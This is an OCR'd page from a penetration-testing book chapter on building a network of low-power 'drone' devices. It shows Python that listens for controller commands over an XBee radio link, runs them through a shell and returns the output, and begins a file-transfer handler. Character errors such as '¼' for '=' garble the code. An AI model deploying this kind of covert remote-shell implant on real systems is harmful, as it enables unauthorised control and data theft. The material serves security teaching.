Hacking_and_Penetration_Testing_with_Low_Power_Devices

176 CHAPTER 7 Building an army of devices
self.xbee.send(’at’, frame_id¼’A’, command¼’MY’)
resp ¼ self.xbee.wait_read_frame()
while (resp[’parameter’] ¼¼ ’\xff\xfe’):
sleep(1)
self.xbee.send(’at’, frame_id¼’A’, command¼’MY’)
resp ¼ self.xbee.wait_read_frame()
# initial beacon to the controller
self.sendAnnounce("By your command-drone is awaiting orders")
# These variables are for transfering files
rc_size ¼ 0
rc_bytes ¼ 0
rc_packet_num ¼ 0
rc_name ¼ ""
rc_file ¼ None
sdl_path ¼ "./"
while True:
try:
# get a command from the controller
cmd ¼ self.xbee.wait_read_frame()
if (cmd[’rf_data’].find(’c:’) ¼¼ 0): # sanity check this\
should be the start of a command
self.sendToController("---Process started----\n")
proc ¼ subprocess.Popen(cmd[’rf_data’][2:],\
stdout¼subprocess.PIPE, stderr¼subprocess.PIPE,\
shell¼True, bufsize¼4096)
signal.alarm(3600) # nothing should take an hour to\
run this will reset a drone if it all goes bad
rc ¼ proc.wait() # this call blocks until the process\
completes
signal.alarm(0) # process succeeded so reset the timer
if (rc ¼¼ 0): #returned successfully
resp ¼ ""
for line in iter(proc.stdout.readline, ’’):
resp +¼ line
resp +¼ "---------Process completed\
successfully------\n"
self.sendToController(resp)
else:
self.sendToController("+++++++Process errored\
out++++++++\n")
elif (cmd[’rf_data’].find("ft:") ¼¼ 0): # command\
console is attempting to transfer a file
rc_size ¼ int(cmd[’rf_data’].split(’:’)[2])
rc_bytes ¼ 0
rc_packet_num ¼ 0